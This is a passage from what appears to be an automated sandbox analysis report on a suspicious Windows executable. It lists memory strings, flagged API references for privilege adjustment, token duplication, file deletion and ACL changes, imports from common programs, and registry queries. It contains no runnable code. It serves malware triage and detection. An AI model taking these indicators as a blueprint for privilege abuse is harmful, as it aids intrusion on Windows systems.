"00000000-00004636-00000C2D-134884014284") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\sockets\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-135196385538") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\sockets\include\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-135205382800") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmci\sockets\Win7\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-135220233548") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmxnet3\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-135261706382") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vmxnet3\Win7\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-135270815806") Found string "%COMMONPROGRAMFILES%\VMware\Drivers\vss\*" (Indicator: "\drivers\"; Source: "00000000-00004636-00000C2D-135299087804") Found string "\DosDevices\%c:" (Indicator: "\DosDevices\"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found string "\Device\Harddisk%ld\Partition0" (Indicator: "\Device\"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found string "\Device\Harddisk%s\Partition%d" (Indicator: "\Device\"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found string "\Device\Harddisk%d\Partition%d" (Indicator: "\Device\"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\sppsvc.exe" (Indicator: "\Device\"; Source: "00000000-00002944.00000000.72156.002A0000.00000004.mdmp, 00000000-00002944.00000001.74081.002A0000.00000004.mdmp, 00000000-00002944.00000002.76003.002A0000.00000004.mdmp")9c:T6de,Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp") Found reference to API "wszDeleteFile" (Indicator: "DeleteFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "NtDeleteFile" (Indicator: "DeleteFile"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "DeleteFile" (Indicator: "DeleteFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "CVssDeletingWriter::DeleteFilesFromSnapshot" (Indicator: "DeleteFile"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")9d:Tb04,Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp") Found reference to API "LookupPrivilegeValue" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LookupPrivilegeValue(%s)" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")9e:T10c6,Found reference to API "BuildExplicitAccessWithNameW" (Indicator: "BuildExplicitAccessWithName"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InitializeSid" (Indicator: "InitializeSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CopySid" (Indicator: "CopySid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "AddAce" (Indicator: "AddAce"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "AccessCheck" (Indicator: "AccessCheck"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "GetAce" (Indicator: "GetAce"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "ImpersonateAnonymousToken" (Indicator: "ImpersonateAnonymousToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe")9f:T597,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "__crtTerminateProcess" (Indicator: "TerminateProcess"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00001828.00000001.73975.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp")a0:T5bf,Found reference to API "SeAuditPrivilege" (Indicator: "SeAuditPrivilege"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SeTakeOwnershipPrivilege" (Indicator: "SeTakeOwnershipPrivilege"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.40001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SeSystemEnvironmentPrivilege" (Indicator: "SeSystemEnvironmentPrivilege"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "SeManageVolumePrivilege" (Indicator: "SeManageVolumePrivilege"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp") Found reference to API "SeSystemProfilePrivilege" (Indicator: "SeSystemProfilePrivilege"; Source: "00000000-00003376.00000000.70935.40001000.00000020.mdmp")a1:T53eb,Observed import api "CreateWellKnownSid" which can "create a SID for predefined aliases" [Source: chrmstp.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: chrmstp.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: chrmstp.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: chrmstp.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: chrmstp.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: chrmstp.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: chrmstp.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: chrmstp.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: chrmstp.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: chrmstp.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: chrmstp.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: chrmstp.exe] Observed import api "AccessCheck" which can "determine whether a security descriptor grants a specified set of access rights to the client identified by an access token" [Source: AcroRd32.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: AcroRd32.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: AcroRd32.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: AcroRd32.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: AcroRd32.exe] Observed import api "CreateRestrictedToken" which can "create a new access token that is a restricted version of an existing access token" [Source: AcroRd32.exe] Observed import api "CreateWellKnownSid" which can "create a SID for predefined aliases" [Source: AcroRd32.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: AcroRd32.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: AcroRd32.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: AcroRd32.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: AcroRd32.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: AcroRd32.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: AcroRd32.exe] Observed import api "GetKernelObjectSecurity" which can "retrieve a copy of the security descriptor that protects a kernel object" [Source: AcroRd32.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: AcroRd32.exe] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: AcroRd32.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: AcroRd32.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: AcroRd32.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: AcroRd32.exe] Observed import api "ImpersonateAnonymousToken" which can "enable the specified thread to impersonate the system's anonymous logon token" [Source: AcroRd32.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: AcroRd32.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: AcroRd32.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: AcroRd32.exe] Observed import api "MapGenericMask" which can "map the generic access rights in an access mask to specific and standard access rights" [Source: AcroRd32.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: AcroRd32.exe] Observed import api "SetKernelObjectSecurity" which can "set the security of a kernel object" [Source: AcroRd32.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: AcroRd32.exe] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: AcroRd32.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: elevation_service.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: elevation_service.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: elevation_service.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: elevation_service.exe] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: elevation_service.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: elevation_service.exe] Observed import api "GetSecurityDescriptorGroup" which can "retrieve the primary group information from a security descriptor" [Source: elevation_service.exe] Observed import api "GetSecurityDescriptorOwner" which can "retrieve the owner information from a security descriptor" [Source: elevation_service.exe] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: elevation_service.exe] Observed import api "GetSidLengthRequired" which can "return the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: elevation_service.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: elevation_service.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: elevation_service.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: elevation_service.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: elevation_service.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: elevation_service.exe] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: elevation_service.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: elevation_service.exe] Observed import api "SetSecurityDescriptorGroup" which can "set the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: elevation_service.exe] Observed import api "SetSecurityDescriptorOwner" which can "set the owner information of an absolute-format security descriptor" [Source: elevation_service.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: elevation_service.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: wmpnetwk.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: wmpnetwk.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: wmpnetwk.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: wmpnetwk.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: wmpnetwk.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: wmpnetwk.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: wmpnetwk.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: wmpnetwk.exe] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: wmpnetwk.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: wmpnetwk.exe] Observed import api "GetSecurityDescriptorGroup" which can "retrieve the primary group information from a security descriptor" [Source: wmpnetwk.exe] Observed import api "GetSecurityDescriptorOwner" which can "retrieve the owner information from a security descriptor" [Source: wmpnetwk.exe] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: wmpnetwk.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: wmpnetwk.exe] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: wmpnetwk.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: wmpnetwk.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: wmpnetwk.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: wmpnetwk.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: wmpnetwk.exe] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: wmpnetwk.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: wmpnetwk.exe] Observed import api "SetSecurityDescriptorControl" which can "set the control bits of a security descriptor" [Source: wmpnetwk.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: wmpnetwk.exe] Observed import api "SetSecurityDescriptorGroup" which can "set the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: wmpnetwk.exe] Observed import api "SetSecurityDescriptorOwner" which can "set the owner information of an absolute-format security descriptor" [Source: wmpnetwk.exe] Observed import api "AllocateLocallyUniqueId" which can "allocate a locally unique identifier (LUID)" [Source: wmpnetwk.exe] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: 7zG.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: 7zG.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: cblauncher.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: cblauncher.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: cblauncher.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: cblauncher.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: cblauncher.exe] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: dwtrig20.exe] Observed import api "AddAccessDeniedAce" which can "add an access-denied access control entry (ACE) to an access control list (ACL)" [Source: dwtrig20.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: dwtrig20.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: dwtrig20.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: dwtrig20.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: dwtrig20.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: dwtrig20.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: dwtrig20.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: dwtrig20.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: dwtrig20.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: dwtrig20.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: dwtrig20.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: dwtrig20.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: dwtrig20.exe] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: setup.exe] Observed import api "AddAccessDeniedAce" which can "add an access-denied access control entry (ACE) to an access control list (ACL)" [Source: setup.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: setup.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: setup.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: setup.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: setup.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: setup.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: setup.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: setup.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: setup.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: setup.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: setup.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: setup.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: setup.exe] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: 7z.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: 7z.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: firefox.exe] Observed import api "CreateRestrictedToken" which can "create a new access token that is a restricted version of an existing access token" [Source: firefox.exe] Observed import api "CreateWellKnownSid" which can "create a SID for predefined aliases" [Source: firefox.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: firefox.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: firefox.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: firefox.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: firefox.exe] Observed import api "GetKernelObjectSecurity" which can "retrieve a copy of the security descriptor that protects a kernel object" [Source: firefox.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: firefox.exe] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: firefox.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: firefox.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: firefox.exe] Observed import api "SetKernelObjectSecurity" which can "set the security of a kernel object" [Source: firefox.exe] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: firefox.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: updater.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: WatAdminSvc.exe.bin] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: WatAdminSvc.exe.bin] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: WatAdminSvc.exe.bin] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: WatAdminSvc.exe.bin] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: WatAdminSvc.exe.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: WatAdminSvc.exe.bin] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: WatAdminSvc.exe.bin]a2:Tb16,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: 